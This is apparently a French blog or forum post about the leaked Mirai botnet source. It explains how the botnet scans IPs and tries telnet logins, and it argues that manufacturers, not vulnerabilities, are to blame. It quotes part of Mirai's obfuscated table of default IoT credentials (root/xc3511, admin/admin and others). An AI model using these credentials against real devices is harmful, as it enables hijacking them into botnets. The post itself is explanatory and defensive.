Le code du botnet mirai a été mis en ligne (allez voir du côté d'un exégète de l'afnic), et il est vraiment très simple.
En deux temps,
- un ou plusieurs serveurs qui exécutent un script écrit en langage Go (qui se lit aussi facilement que du C) et qui cherche aléatoirement des proies sur internet identifiées par leurs adresses IP.
- à chaque fois, tentative de connection avec privilège maximum via telnet (qui suppose être actif) en utilisant un mot de passe parmi une cinquantaine prédéfinie :
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
...
- puis, une fois rentré, utilisation du service pour exécuter des commandes HTTP type GET.
On le voit, ce truc qui défraie la chronique depuis maintenant presque un mois n'exploite aucune vulnérabilité de sécurité, mais uniquement la bétise, tellement énorme qu'on se demande si c'est intentionnel, bétise des constructeurs qui vendent des appareils à mettre en ligne en public sur internet avec un accès codé en dur, donc testable par n'importe qui de l'extérieur.
On le voit bien. Il suffirait qu'au bout de 3 échecs de connection avec un mauvais mot de passe l'appareil "attaqué" se bloque pour que le botnet mirai s'asphyxie et meurt lamentablement.
Ou mieux encore, désactiver telnet par défaut. Les constructeurs doivent vendre des produits sans telnet par défaut.
Mais non ça c'est trop demander !!